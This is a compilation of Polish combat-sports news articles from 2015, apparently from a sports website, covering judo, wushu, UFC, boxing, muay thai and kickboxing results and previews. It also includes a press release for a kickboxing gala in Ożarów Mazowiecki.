Polskie judo marzy o medalu olimpijskim, jednak najpierw przed naszymi reprezentantami weryfikacja możliwości w postaci Igrzysk Europejskich, które odbędą się w dniach 12 – 28 czerwca. Warto zauważyć jedną istotną rzecz. Judocy będą rywalizowali przez trzy dni – od 25 do 28 czerwca. Turniej ten traktowany będzie przez Międzynarodową Federację Judo jako mistrzostwa Europy. Pierwotnie czempionat miał odbyć się w Glasgow, ale Wielkiej Brytanii odebrano prawo organizacji.

Perenc i Konieczny w dobrych nastrojach

W turnieju Judo European Open w Kluż – Napoce nasze reprezentantki zaliczyły występy godne uwagi. Warto dodać, że zawody wliczały się do klasyfikacji olimpijskiej. Ewa Konieczny w kategorii 48kg w pierwszej walce trafiła na zawodniczkę gospodarzy Andreę Stefanescu. Rumunka nie potrafiła zaskoczyć Polki, która mogła już myśleć o kolejnej walce. Jak się okazało Konieczny trafiła na wymagającą przeciwniczkę. W drugim pojedynku Polka spotkała się z Brytyjką Kimberley Renicks. Porażka sprawiła, że Konieczny musiała walczyć o „być albo nie być” w repasażach. Polka pokazała się z dobrej strony i zwycięsko wyszła z potyczki z Włoszką Francescą Milani. Noa Minsker mogła być w finale, ale na jej drodze stanęła Edna Carrillo. Reprezentantka Izraela miała nadzieję, że uda jej się zdobyć brąz na pocieszenie, jednak nie sprostała Ewie Konieczny. Polka zajęła trzecie miejsce. Zaledwie jedną walkę stoczyła Joanna Stankiewicz, która uległa Meksykance Carrillo.

Taką drogę jak Ewa Konieczny przeszła Agata Perenc w kategorii 52kg. W pierwszym pojedynku Polka odprawiła Węgierkę Katinkę Szabo. Zawsze ciężko rywalizuje się z zawodnikami gospodarzy. Tak było i w tym przypadku. Perenc trafiła na Larisę Florian i musiała uznać wyższość Rumunki. Za to w repasażach Polka uporała się z Rosjanką Olgą Gagariną i mogła stanąć do walki o medal. O brąz Perenc przyszło rywalizować z reprezentantką Izraela Roni Schwartz. W tej samej kategorii rywalizowała Dorota Smorzewska, która uległa Birgit Ente z Holandii.

Kadra na Igrzyska

Nasi judocy szlifują formę, aby osiągnąć jak najlepsze rezultaty w Baku. Ogłoszono już kadrę Polski w judo na Igrzyska Europejskie. W Baku wystąpi sześć zawodniczek i ośmiu zawodników. Nie zabraknie Darii Pogorzelec, która w ostatnim czasie jest w bardzo dobrej dyspozycji. Na fali entuzjazmu do Baku pojadą Konieczny i Perenc. Wystąpi również najlepszy obecnie polski judoka – Maciej Sarnacki. Ponadto w Baku zaprezentują się: Katarzyna Kłys, Agata Ozdoba, Arleta Podolak, Aleksander Beta, Łukasz Kiełbasiński, Lukasz Błach, Jakub Kubieniec, Patryk Ciechomski, Jakub Wójcik i Damian Szwarnowiecki.

KM

Wushu, czyli na bogato

Liczne style, odmienne taktyki i zasady – tym charakteryzują się chińskie sztuki walki. Na brak możliwości nie można narzekać. Walki bronią białą, dźwignie, ciosy, kopnięcia – to wszystko oferuje wushu.

W powszechnym odbiorze może to być zjawisko szerzej nieznane, ale mimo wszystko jest obecne na scenie sportów walki. Co więcej – wushu ma się bardzo dobrze. Popularność tej dyscypliny stopniowo rośnie. Z roku na rok uprawia ją coraz więcej osób, które traktują tę dyscyplinę jako możliwość aktywnego spędzenia czasu. Polska może pochwalić się licznymi osiągnięciami w wushu.

Wielu zawodników, którzy osiągnęli światowy poziom i prezentują najwyższe umiejętności. Ze światowych imprez reprezentacja Polski zawsze przywozi medale – stało się to niemalże tradycją. Od 2001 roku działa Polski Związek Wushu, którego prezesem jest Dariusz Piwowarski. Z każdym rokiem rośnie liczba szkół szerzących ideę chińskich sztuk walki. Aktywnie uprawiających wushu jest zapewne kilkanaście tysięcy, ale w polskim związku zarejestrowanych jest około czterech tysięcy zawodników (dane za 2013 rok). Warto powiedzieć, że ilość przekłada się na jakość. W dniach 16-23 maja w Starej Zagorze w Bułgarii odbyły się trzecie mistrzostwa Europy wushu tradycyjnego, podczas których z dobrej strony pokazali się reprezentanci Polski. Na starcie imprezy pojawiło się blisko siedmiuset zawodników z dwudziestu krajów. Polacy zdobyli dwadzieścia siedem medali, w tym cztery złote autorstwa Sebastiana Oleszczuka, Jakuba Leszczyńskiego, Piotra Stachowicza i Bartosza Oramusa. Ponadto, biało – czerwoni wywalczyli czternaście srebrnych i dziewięć brązowych krążków. Jednak to nie jest jednorazowy wyskok. Polacy na światowych czempionatach odnoszą sukcesy w wushu.

Wushu rozwija się i święci triumfy. Na krajowym podwórku trwa stopniowe budowanie marki, która trafi do społecznej świadomości. Uprawiających dyscyplinę jest wielu, ale jak na razie sport nie przebił się na szczyt. W dniach 6-7 czerwca odbędą się XXI międzynarodowe mistrzostwa Polski w wushu. Rywalizacja odbędzie się na poziomie juniorskim i seniorskim. 5 czerwca odbędzie się rejestracja i ważenie zawodników, którzy będą mogli wystąpić w formułach taoulu, sanda i qingda.

Rok temu rywalizacja pełna była emocji, ale w niektórych kategoriach brakowało zawodników. Piotr Jesiotr chciał zmierzyć się w kategorii 90kg, jednak nie miał z kim. Wyzwanie podjął Bartłomiej Guzik, który rywalizował w wadze 85kg. Deficyt zawodników w niektórych kategoriach był nadto widoczny, ale rok temu w turnieju nie wzięła udziału większość kadrowiczów. Miejmy nadzieję, że tym razem w mistrzostwach wystąpi czołówka polskich wojowników, która zaprezentuje najwyższy poziom.

6 i 7 czerwca XXI międzynarodowe mistrzostwa Polski w wushu odbędą się w hali sportowej ZOS nr 79 przy ul. Wiertniczej 26 w Warszawie.

KM

Condit uszkodził Alvesa

Główne walki UFC Fight Night 67 były zastrzykiem wrażeń. W oktagonie pojawił się Carlos Condit, dla którego był to pierwszy pojedynek po wyleczeniu kontuzji kolana.

Były mistrz UFC w wadze półśredniej w walce z Thiago Alvesem chciał udowodnić, że jego czas jeszcze nie minął. Dla 31-letniego Amerykanina starcie z Brazylijczykiem było pierwszym występem po ponad roku przerwy. Warto zaznaczyć, że Condit miał podrażnioną ambicję. Jego ostatnie walki nie układały się tak jakby tego oczekiwał. Po wygranej z Nickiem Diazem na UFC 143 wszystko zaczęło się sypać. Condit zanotował dwie porażki z rzędu – Georges St. Pierre oraz Johny Hendricks. Udało mu się wygrać z Martinem Kampmannem, ale była to chwilowa zwyżka formy, gdyż w kolejnym pojedynku Amerykanin poległ – okazał się gorszy od Tyrona Woodley’a. To był marzec 2014 roku. Condit musiał czekać ponad rok, aby wrócić do oktagonu.

Z jakim efektem? Amerykanin był spragniony walki. Naprzeciw Condita stanął Thiago Alves, który w tym roku już walczył. Brazylijczyk podczas UFC 183 uporał się z Jordanem Meinem. Amerykanin od początku ruszył na rywala i chciał zdominować pojedynek. Condit był aktywny, a Alves starał się odpierać ataki rywala. Starcie dostarczyło wielu emocji. 31-letni Amerykanin używał łokci w stójce, co doprowadziło do rozcięć na twarzy Alvesa. Brazylijczyk nie wyszedł do trzeciej rundy po decyzji lekarza. Thiago Alves miał złamany nos. Carlos Condit udanie wrócił do oktagonu i odniósł trzydzieste zwycięstwo w karierze.

Charles Oliveira był w gazie. Przed pojedynkiem z Nikiem Lentzem zanotował trzy zwycięstwa z rzędu, co wyraźnie poprawiło jego notowania. Brazylijczyk po raz ostatni przegrał w lipcu 2013 roku z Frankiem Edgarem. Od tamtego czasu jest niepokonany i mierzy w najwyższe cele. Oliveira i Lentz już raz spotkali się w oktagonie – prawie cztery lata temu. Wtedy nie doszło do rozstrzygnięcia pojedynku, który zakończył się w drugiej rundzie. Teraz fighterzy mieli okazję przekonać się, kto prezentuje wyższe umiejętności. Oliveira okazał się lepszy od swojego rywala, ale ten postawił mu trudne warunki. Brazylijczyk kilkukrotnie był bliski odklepania, ale udawało mu się uciec. Ostatecznie w trzeciej rundzie sprowadził Lentza do parteru, gdzie jego aktywność pozwoliła mu założyć gilotynę. Lentz odklepał i zwycięstwo Brazylijczyka stało się faktem. Dobry występ Oliveiry sprawił, że jego wynagrodzenie znacząco wzrosło. Brazylijczyk zgarnął 100 tysięcy dolarów za walkę wieczoru oraz występ wieczoru.  Alex Oliveira zaskoczył duszeniem zza pleców K.J. Noonsa, co dało mu jedenastą wygraną w karierze. Rony Jasona już w pierwszej rundzie zmusił Damona Jacksona do poddania. Zwycięzca otrzymał również bonus za występ wieczoru.

Wyniki UFC FN67:

170 lbs: Carlos Condit pokonał Thiago Alves 

145 lbs: Charles Oliveira pokonał Nik Lentz przez poddanie 
170 lbs: Alex Oliveira pokonał K.J. Noons przez poddanie 
205 lbs: Francimar Barroso pokonał Ryan Jimmo decyzją sędziów
155 lbs: Francisco Trinaldo pokonał Normana Parke’a decyzją sędziów
170 lbs: Darren Till pokonał Wendella Oliveię przez TKO 

145 lbs: Rony Jason pokonał Damona Jacksona przez poddanie
125 lbs: Jussier Formiga pokonał Wilsona Reisa decyzją sędziów
170 lbs: Nicolas Dalby pokonał Elizeu Zaleski niejednogłośną decyzją sędziów
145 lbs: Mirsad Bektić pokonał Lucasa Martinsa przez TKO 
115 lbs: Juliana Lima pokonała Erickę Almeidę decyzją sędziów
170 lbs: Tom Breese pokonał Luiza Dutrę przez TKO

KM

Świeża krew w wadze ciężkiej

Anthony Joshua coraz śmielej przebija się do świadomości społecznej. Pięściarz buduje swoją pozycję w świecie boksu i powoli urasta do miana nadziei wagi ciężkiej.

Królewska kategoria od lat zdominowana jest przez jedno nazwisko: Kliczko. Do niedawna w ryzach wagę ciężką trzymali bracia Witalij i Władimir. Teraz został ten młodszy i nadal w swoich dłoniach dzierży pasy mistrzowskie WBA, WBO i IBF. Wielu chce wejść na tron i zapowiada detronizację Ukraińca, jednak na słowach się kończy. W kwietniu w Madison Square Garden Kliczko z kwitkiem odprawił Amerykanina Bryanta Jenningsa. Ukrainiec robił swoje i wygrał na punkty. 39-latek zapomniał, co to znaczy porażka – ostatnią zanotował ponad jedenaście lat temu. Jednak już kiedyś wspominał, że myśli o zakończeniu kariery. Ktoś go będzie musiał zastąpić

Idzie nowe

Myśląc o wadze ciężkiej trudno znaleźć pięściarzy, którzy zapadają w pamięć bądź prezentują mistrzowski poziom. Wielu pojawia się na chwilę i znika. Inni z kolei mają problemy albo popadają w przeciętność. Kolorytu rywalizacji w wadze królewskiej dodał Deontay Wilder, który odzyskał dla Stanów Zjednoczonych pas w wadze ciężkiej po siedmiu latach. Ponadto, jest charyzmatyczny Tyson Fury, który wierzy we własną wszechmoc. Jednak na Wyspach Brytyjskich krystalizuje się prawdziwy diament. Jeszcze przyjdzie czas na jego weryfikację, ale obecnie Anthony Joshua pokazuje, że tkwi w nim ogromny potencjał.

25-latek podczas gali w Londynie już w drugiej rundzie posłał na deski Kevina Johnsona. Doświadczony Amerykanin ostatnio urasta do miana kolekcjonera porażek, gdyż zanotował czwartą porażkę z rzędu. Mimo to Johnsona nadal uznaje się za solidną markę. Amerykanin swego czasu wytrzymał dwanaście rund z Witalijem Kliczko. W starciu z Johnsonem Joshua pokazał ogromną siłę ciosu, szybkość oraz drzemiące w nim możliwości.

Kładzie wszystkich

Wszystkie walki w swojej karierze 25-latek stoczył w Anglii. Wielki świat czeka na niego i dopiero tam okaże się, czy jest w stanie walczyć o mistrzowskie pasy i posiada odporność psychiczną, która predysponuje go do miana klasowego pięściarza. Na Wyspach jego renoma stale rośnie. Joshua stoczył trzynaście zawodowych walk i wszystkie zakończył przed czasem. To imponujące i nakazuje baczne obserwowanie jego dalszych poczynań.

Warto zaznaczyć, że w tym roku Anglik stoczył już trzy pojedynki, a dwa z nich odbył w maju! Wcale nie były to walki łatwe, gdyż Joshua z każdym kolejnym starciem ma rywali o wyższej renomie. W 2015 roku walczył kolejno z Jasonem Gavernem, Raphaelem Zumbano Love oraz wspomnianym Johnsonem. 25-latek w tym roku pojawi się na ringu na pewno w lipcu, gdyż ma wystąpić na gali w Manchesterze. Wykorzystuje swój wiek i zapał do walki, co tylko pomaga mu doskonalić warsztat i zyskiwać na wartości.

Jakie będą jego dalsze losy? Musi się zahartować, żeby osiągnąć sukces. Świat boksu nie jest łatwy, a dotychczasowa kariera Anglika pokazuje, że ma potencjał.

KM

Khan wykonał krok

Brytyjczyk miał pokonać przeszkodę, która umożliwi mu spełnienie jego bokserskich marzeń. Amir Khan dopełnił formalności i uporał się z Chrisem Algierim.

Rywalizacja zapowiadała się ciekawie. W końcu naprzeciw siebie stanęli mistrz świata organizacji WBC kategorii junior półśredniej i były mistrz świata WBO w wadze lekkopółśredniej, czyli zawodnicy, którzy mają na swoim koncie osiągnięcia. Do niedawna jeszcze Algieri mógł się szczycić mianem niepokonanego na zawodowym ringu, jednak już tak nie jest. Amerykanin musiał uznać wyższość Manny Pacquiao i teraz Amira Khana. Co ciekawe, Algieri pierwszą porażkę w karierze poniósł na ringu w Chinach. Na amerykańskiej ziemi wygrywał za każdym razem. W Brooklynie, gdzie walczył z Khanem pokonał Ruslana Provodnikowa i zdobył pas WBO. Niecały rok później doznał pierwszej klęski w swojej ojczyźnie. Algieri ma za sobą dwie porażki, które zachwiały jego pozycją. Musi się odbudować, aby wrócić do rywalizacji o najwyższe cele. Warto zaznaczyć, że Algieri to twardy pięściarz. Mimo przewagi rywali udawało mu się dotrwać do końca walki i o wszystkim decydować musieli sędziowie.

Pacquiao niemiłosiernie obił Amerykanina. Ten chwiał się na nogach, zbierał potężne ciosy, ale wytrzymał. Przegrał wyraźnie na punkty. Pojedynek z Khanem wyglądał nieco inaczej, ale to rywal dyktował warunki. Algieri ma problemy wtedy, kiedy to przeciwnik decyduje o przebiegu pojedynku. Khan, tak jak i Pacquiao, znaleźli receptę na Amerykanina. 31-latek nie był w stanie poradzić sobie z szybkością rywala. Khan kontrolował pojedynek, atakował skutecznie przeciwnika i uciekał do dystansu. Brytyjczyk dużo się przemieszczał, co męczyło jego oponenta i sprawiało, że nie był w stanie odpowiedzieć na celne ciosy 28-latka. Khan walczył konsekwentnie, trzymał się przyjętej taktyki i odniósł sukces. Algieri chciał, ale na chęciach się skończyło. Na ringu w Brooklynie był gorszy. Wolniejszy, mniej skuteczny i nie miał koncepcji na zaskoczenie Brytyjczyka. Co prawda przetrwał dwanaście rund, ale punktacja sędziów nie pozostawiała wątpliwości. Khan wyraźnie zwyciężył w oczach dwóch arbitrów – 117-111, 117-111, dla jednego rywalizacja była bardziej wyrównana – 115-113.

Algieri zanotował drugą porażkę z rzędu, a jego przeciwnik zapisał na swoim koncie kolejną wygraną. Khan wykonał krok na drodze do realizacji swojego upragnionego celu. Problem w tym, że nie wszystko zależy od niego. Brytyjczyk chce walczyć z najlepszym pięściarzem świata – Floydem Mayweatherem Jr. „Money” zapowiedział, że swój ostatni pojedynek stoczy 12 września, a o personaliach rywala zdecyduje sam. Khan robie wszystko, aby Amerykanin postawił na rywalizację z nim. Dodatkowym argumentem przemawiającym na korzyść Brytyjczyka jest fakt, że jest on pretendentem do tytułu WBC kategorii półśredniej. Khan nie ukrywa swoich zamiarów, które jasno wyraził chwilę po zakończeniu pojedynku z Algierim: – Amir Khan chce walczyć z Floydem Mayweatherem. Chcę tej walki.

KM

Jędrzejczyk zachwyca w Tajlandii

Paweł Jędrzejczyk nie ustaje w doskonaleniu swoich umiejętności. Polak konsekwentnie trenuje w Tajlandii i pokonuje kolejne przeszkody na swojej drodze, a to dopiero początek.

Jędrzejczyk to jeden z najlepszych polskich zawodników muay thai. Wielokrotny mistrz świata, który niejednokrotnie walczył w Tajlandii i zyskał miano zawodnika o ogromnym potencjale. Warto przypomnieć, że „Wergi” jako pierwszy Polak wystąpił na stadionie Rajadamnern w Bangkoku. Jędrzejczyk konsekwentnie doskonali swój warsztat w Tajlandii, gdzie ma najlepsze warunki ku temu. Zarazem Polak ma możliwość dokonania weryfikacji swoich możliwości.

Na gali MAX Muay Thai zawodnik z Wrocławia stanął przed nie lada wyzwaniem. Początkowo miał rywalizować z innym zawodnikiem, ale ten z powodu kontuzji nie mógł wystąpić. Zatem przeciwnikiem Jędrzejczyka był F16 Ratchanon. Przybrane imię Taja z pewnością kojarzy się z amerykańskim myśliwcem i powoduje uśmiech na twarzy, ale umiejętności zawodnika  nakazują ogromny szacunek do jego osoby. F16 to fighter o określonym poziomie sportowym, który rywalizował z najlepszymi specjalistami w muay thai. Doświadczony Taj był jednym z najtrudniejszych wyzwań w karierze Pawła Jędrzejczyka. Warto nadmienić, że F16 przeszedł ewolucję. Do niedawna rywalizował w kategorii wagowej 61kg, jednak zdecydowanie przybrał na wadze. Taj w 2014 walczył w limicie 77kg. F16 jest stosunkowo niski – 170cm, ale szybki i zwrotny.

Jędrzejczyk stanął przed ogromną szansą, ale zarazem i wyzwaniem. Polak stoczył pojedynek na prestiżowej gali MAX Muay Thai z doświadczonym rywalem. Trzy rundy, w których Jędrzejczyk dał z siebie wszystko. Polak starał się wykorzystać swoją szybkość i przewagę zasięgu ramion. Jędrzejczyk skutecznie boksował i raz za razem obijał twarz tajskiego zawodnika, który starał się odpowiedzieć, jednak wrocławianin szybko uciekał. Polak niskimi kopnięciami naruszył F16. Taj z upływem kolejnych minut był coraz wolniejszy, a przewaga Jędrzejczyka zwiększała się. Po zakończeniu pojedynku Polak mógł w  pełni zasłużenie wznieść ręce w geście triumfu. Tym samym Jędrzejczyk zapisał na swoim koncie zwycięstwo w rywalizacji z doświadczonym i utytułowanym Tajem.

Warto przypomnieć, że kilka miesięcy temu Polak na stadionie Lumpinee uporał się z Brytyjczykiem Garethem Nelliesem po pięciorundowym boju. Teraz notuje kolejny bardzo dobry występ w Tajlandii, a na tym nie koniec. Przed Jędrzejczykiem treningi w Blackzilians – amerykańskim klubie MMA, gdzie wrocławianin będzie chciał popracować nad skutecznością i siłą ciosów. Niewykluczone, że w letnich miesiącach Polak stoczy jeszcze jeden pojedynek w Tajlandii. Jędrzejczyk zaprezentuje się również przed polską publicznością. 19 września fighter z Wrocławia wystąpi na gali MFC 8 w Zielonej Górze. Będzie to nie lada gratka, gdyż  Jędrzejczyk na obecną chwilę jest zawodnikiem klasy światowej.

KM

Kolejne wyzwanie Szpilki

„Szpila” przygotowuje się do rywalizacji z doświadczonym Amerykaninem. Polski pięściarz po raz kolejny w tym roku wejdzie do ringu. Artur Szpilka w Chicago zmierzy się z Manuelem Quezadą.

W kwietniu „Szpila” stoczył pojedynek, w którym w drugiej rundzie podziękował rywalowi za spotkanie. Amerykanin Ty Cobb nie sprawił Polakowi żadnych problemów, gdyż był zdecydowanie słabszy i w żaden sposób nie mógł zagrozić 26-latkowi z Wieliczki. Czerwcowy przeciwnik Szpilki jest nieco bardziej wymagający, ale trudno spodziewać się, żeby Amerykanin zaskoczył podopiecznego Ronny’ego Shieldsa.

Warto zaznaczyć, że początkowo „Szpila” miał rywalizować z Jasonem Pettaway’em, jednak Komisja Sportowa Stanu Illois nie zaakceptowała go. Wybór padł więc na Manuela Quezadę. Nie wydaje się, żeby 37-letni Amerykanin zagroził Szpilce. Quezada jest stosunkowo niski jak na wagę ciężką – 187 cm. Swego czasu Amerykanin trenował kickboxing oraz mieszane sztuki walki. Najlepsze lata w boksie ma już dawno za sobą. Quezada jest cierpliwy i z utęsknieniem wypatruje kolejnej wygranej na zawodowym ringu. Do tej pory 37-latek dwadzieścia dziewięć razy schodził z placu boju w glorii chwały. Problem Quezady polega na tym, że nie wygrał od pięciu lat. Warto nadmienić, że w tym czasie wytrzymał pełen dystans w rywalizacji z Chrisem Arreolą oraz Stevem Cunninghamem. Jednak w obu tych pojedynkach przegrał zdecydowanie na punkty. W okresie ostatnich pięciu lat Quezadę pokonali również Jason Gavern, Bowie Tupou oraz Andy Ruiz Jr. Na swoim koncie Amerykanin ma wygrane z solidnymi pięściarzami m.in. z Travisem Walkerem, którego w 2009 roku znokautował w pierwszej rundzie.

Z pewnością Quezada stanie przed trudnym zadaniem, gdyż trudno podejrzewać, aby mógł pokonać Szpilkę. Polak rozpoczął nowy rozdział w swoje karierze. Szpilka pod okiem Ronny’ego Shieldsa ma wejść na wyższy poziom i rozwinąć swój talent. Pierwszą walkę w Stanach ma już za sobą,  szybko rozprawił się ze słabym rywalem. Teraz przyszedł czas na Quezadę. Szpilka stoczy kolejny pojedynek na przestrzeni dwóch miesięcy. Polak powinien walczyć jak najczęściej, aby wejść w dobry rytm i podnosić swoją ringową skuteczność. Prawda jest taka, że Szpilka musi w Stanach zbudować swoją pozycję, aby pojawiły się ciekawe propozycje. 26-latek udowodnił w rywalizacji z Tomaszem Adamkiem, że dojrzał i skoncentrował się na boksie. Do tej pory przegrał tylko raz. Pogromcą Szpilki okazał się Bryant Jennings, który niedawno walczył z Władimirem Kliczko. Polak nadal pozostaje królem nokautów – na osiemnaście wygranych aż trzynaście pojedynków zakończył przed czasem. Quezada może dołączyć do tego grona. Szybkość Szpilki i siła jego ciosu mogą zrobić wrażenie na 37-letni pięściarzu z Kalifornii. Polak po raz kolejny zaprezentuje się w hali UIC Pavilion w Chicago podczas gali Premier Boxing Champions, która odbędzie się 12 czerwca.

KM

Najazd na Ożarów

Kickboxing zawita do Ożarowa Mazowieckiego, gdzie 20 czerwca  odbędzie się gala Imbiriada Fighters Night 4. Organizator zapowiada mocne wrażenia, a karta walk pokazuje, że poziom zmagań powinien być odpowiedni.

Czołowi polscy fighterzy, w tym mistrzowie kraju, Europy i świata, znani zawodnicy z Macedonii, Ukrainy, Turcji, Słowacji. Dobór wykonawców świadczy o chęci zaprezentowania fanom kickboxingu wrażeń najwyższych lotów. Czy Ci, którzy mają być głównymi aktorami spełnią pokładane w nich nadzieje?

Wypada zacząć od pań. Nie ma wątpliwości, że Iwona Nieroda to połączenie talentu z wyjątkową finezją i skutecznością. Polka w swojej karierze odnosiła sukcesy na płaszczyźnie amatorskiej, wielokrotnie zdobywając tytuły na krajowym podwórku. Nieroda w Ożarowie stoczy swoją szóstą zawodową walkę. Czy sprosta Ukraince Oksanie Romanovej? Z pewnością zawodniczka zza wschodniej granicy nie ułatwi zadania Polce, jednak Nieroda jest pewna swego, a ponadto – jest w gazie. W lutym pokonała Petrę Castkovą. Po raz drugi w tym roku spotkają się Adam Abood Al Hassani i Patryk Proszek. Do pierwszego starcia tych zawodników doszło w Pucharze Polski w K-1. Teraz Proszek będzie chciał się odgryźć rywalowi, który pozbawił go szans na sukces. Miki Ivanovski z Macedonii już zdążył poznać polski klimat. Fighter miał przyjemność pojawić się na gali grupy DSF i rywalizować z Kamilem Rutą, jednak nie ma dobrych wspomnień z tego pojedynku. W Ożarowie też stanie przed trudnym wyzwaniem. Ivanovski zmierzy się z Arkadiuszem Kaszubą. Polak podczas ostatniej gali Fighters przez KO pokonał Dawida Świerczyńskiego, który także zaprezentuje się 20 czerwca i będzie chciał zwyciężyć. Jego rywalem będzie Mateusz Rycerski.

Na zawodowy ring po kontuzji wraca Michał Turyński. Ostatnio fighter zaprezentował się w mistrzostwach Polski K-1, gdzie sięgnął po złoty medal. To już piąty triumf Turyńskiego w karierze. Polak na zawodowym ringu po raz ostatni zaprezentował się w październiku, kiedy wystąpił na gali KOK w Gdańsku, gdzie wziął udział w czteroosobowym turnieju wagi ciężkiej. Sergei Lascenko w półfinale okazał się lepszy od Turyńskiego. Teraz rywalem Polaka będzie Radovan Kulla ze Słowacji, który podczas ostatniej gali Fighters wygrał na punkty z Patrykiem Proszkiem. Po pas PZKB spróbuje sięgnąć Dawid Kasperski. Zawodnik z Wrocławia, który robi ustawiczne postępy cały czas czeka na nazwisko swojego rywala. Personalia przeciwnika zna za to Wojciech Kosowski. Zawodnik warszawskiej Palestry zmierzy się o pas międzynarodowego mistrza Polski w kategorii 75kg z Ademem Bozkurtem. Turek to doświadczony fighter, który na swoim koncie ma wiele walk zawodowych. W swojej karierze Bozkurt był czterokrotnym mistrzem świata WKN oraz mistrzem Europy WAKO PRO. Polak w ostatniej walce z Milanem Kovacem pokazał, że nadal jest groźny i potrafi efektownie zakończyć pojedynek.

KM

Błachowicz idzie w górę

Ostatnie doświadczenia popularnego „Johna” w UFC nie napawały optymizmem. Ale wszystko poszło w dobrą stronę. W wyniku licznych przetasowań wewnątrz organizacji okazało się, że notowania Jana Błachowicza skoczyły w górę.

„John” w poprzednim notowaniu rankingu UFC w kategorii półciężkiej plasował się na 15. pozycji. Położenie Błachowicza poprawiło się – teraz awansował o trzy lokaty. W głównej mierze wpływ na to miały zawirowania wewnątrz UFC i kłopoty Jona Jonesa, który został usunięty z zestawienia. Liderem rankingu jest Anthony Johnson.

Co dalej z Błachowiczem?

Po ostatnich wydarzeniach wydawać by się mogło, że Błachowicz sporo straci. Ranking nie w pełni oddaje obecną dyspozycję zawodników, ale jest sumą wielu składowych. Akcje „Johna” po porażce na gali w Krakowie spadły. Przed rywalizacją z Jimim Manuwą Błachowicz był wielką nadzieją, wróżono mu szybką karierę w organizacji, uwieńczoną walkami o najwyższe laury. Na słowach się skończyło. W oktagonie wyszły braki Błachowicza, jego przesadna ostrożność oraz nieumiejętność prowadzenia walki. Manuwa wziął ten ciężar na siebie i zakończył pojedynek zwycięsko.

A po rywalizacji z Ilirem Latifim, którego Błachowicz odprawił w swoim debiucie w zaledwie dwie minuty wszyscy zachwycali się Polakiem i pokładali w nim nadzieje. Błachowicz miał być powiewem świeżości w UFC, a okazało się, że czeka go jeszcze dużo pracy, aby wejść na szczyt. Przede wszystkim „John” musi chcieć walczyć. Brzmi to absurdalnie, ale taka jest prawda. W rywalizacji z Latifim był zdecydowany i dynamiczny, co dało mu zwycięstwo. Statyczność w pojedynku z Manuwą dobrego efektu nie przyniosła.

Błachowicz stoczył w UFC dopiero dwa pojedynki, ale są one podstawą do wyciągania pewnych wniosków. Wiadomo, że kariera w tej organizacji dla wielu jest marzeniem, jednak utrzymać się w niej nie jest łatwo. Często jedna walka decyduje o wszystkim. Rzecz jasna – „John” może spać spokojnie, ale musi poprawić się w swoim kolejnym występie. To nie ulega wątpliwości.

Trzecia walka jako test

Tak się dziwnie złożyło, że Błachowicz na przestrzeni dwóch lat stoczył zaledwie dwie walki. W 2013 roku na KSW 22 na punkty wygrał z Goranem Reljiciem i po tym pojedynku został „wytransferowany” do UFC. Walka z Ilirem Latifim była jedyną, którą stoczył w 2014 roku. Teraz prawdopodobnie odbędzie więcej pojedynków, gdyż rywalizował już z Manuwą i po raz kolejny w oktagonie ma zaprezentować się pod koniec wakacji. Błachowicz do leciwych nie należy, a na przestrzeni ostatniego okresu walczył rzadko. Czym to jest spowodowane? Wydaje się, że im więcej pojedynków, tym lepiej dla „Johna”. Błachowicz musi wejść na właściwe obroty i walczyć regularnie. Wiadomo, że wszystko zależy od propozycji, jednak Polak musi budować swoją wartość poprzez kolejne pojedynki. Pod koniec wakacji po raz trzeci pojawi się w oktagonie UFC. Na obecną chwilę nazwisko rywala nie jest znane. Dla Błachowicza ten pojedynek będzie bardzo ważnym sprawdzianem.

KM

Gala Kickboxingu Zawodowego K-1 Rules "IMBIRIADA FIGHTERS NIGHT 4"

GALA KICKBOXINGU ZAWODOWEGO K-1 RULES
„IMBIRIADA FIGHTERS NIGHT 4”

20 czerwca 2015 r., godz. 19:00
MCC Mazurkas Conference Centre & Hotel****
ul. Poznańska 177
Ożarów Mazowiecki ( 5km od Warszawy)

Zapraszamy serdecznie na Galę Kickboxingu Zawodowego K1 Rules „IMBIRIADA FIGHTERS NIGHT 4”, która odbędzie się 20 czerwca 2015 r. w MCC Mazurkas Conference Centre & Hotel**** w Ożarowie Mazowieckim oddalonym o 5 km od Warszawy.
Gala z udziałem czołowych kickboxerów jest kontynuacją prestiżowego widowiska „FIGHTERS NIGHT”, które wpisało się już na stałe w kalendarz profesjonalnych imprez pod patronatem Polskiego Związku Kickboxingu oraz ogólnopolskich imprez sportów walki. Podczas tej elitarnej imprezy będzie można podziwiać kunszt Mistrzów Świata, Europy i Polski. Federacja krajowa potwierdziła rywalizację o pasy mistrzowskie: Międzynarodowego Mistrza Polski oraz Zawodowego Mistrza Polski. O wysokim poziomie gali świadczą nazwiska, które znajdą się w karcie walk, podczas imprezy zobaczymy walki z udziałem mistrzów z Polski, Turcji, Macedonii, Ukrainy i Słowacji. Wśród najbardziej utytułowanych zawodników i zawodniczek z Polski walczących tego wieczoru wystąpią: Iwona Nieroda, Wojciech Kosowski, Dawid Kasperski, Arkadiusz Kaszuba, Patryk Proszek, Dawid Świerczyński oraz inni znani i utalentowani kickboxerzy.

PUNKTY SPRZEDAŻY BILETÓW:
Biuro Imbiriada, ul. Modlińska 310-312, Warszawa
Biuro BAYER TAXI, ul. Górczewska 216, Warszawa
Biuro FIGHTERS NIGHT, ul. Świętokrzyska 8, Ostrowiec Św.

BILETY DO NABYCIA ON-LINE:
www.kupbilecik.pl
www.biletyna.pl

ZAPRASZAMY SERDECZNIE!

Źródło: materiały prasowe

Ostatnie zadanie Khana

Brytyjczyk stanie w ringu po raz pierwszy w 2015 roku. Jego rywalem będzie Chris Algieri, który ma być ostatnią przeszkodą na drodze Amira Khana na drodze do walki z Floydem Mayweatherem Jr.

Brytyjczyk jest zdeterminowany, aby stanąć do rywalizacji z „Moneyem”. Khan chce udowodnić swoją wartość i pokazać, że jest wyjątkowym bokserem, a dodatkowo starcie z Mayweatherem byłoby szansą na ogromne pieniądze i wielkie laury. Z takiego założenia wychodzi Brytyjczyk. Pięściarz od dłuższego czasu podkreśla swoją gotowość do walki z Amerykaninem. Teoretycznie miałby być pierwszym, który pokona Mayweathera. Khan dużo mówi i chętnie eksponuje swoje umiejętności, ale często werbalnie. Rzecz jasna, że Brytyjczyk musi zbudować sobie właściwe zaplecze, aby do takiej walki doszło. Ważny jest nie tylko aspekt sportowy, ale także medialny i marketingowy. Dlatego też Khan stara się jak może, aby być na ustach niemalże wszystkich.

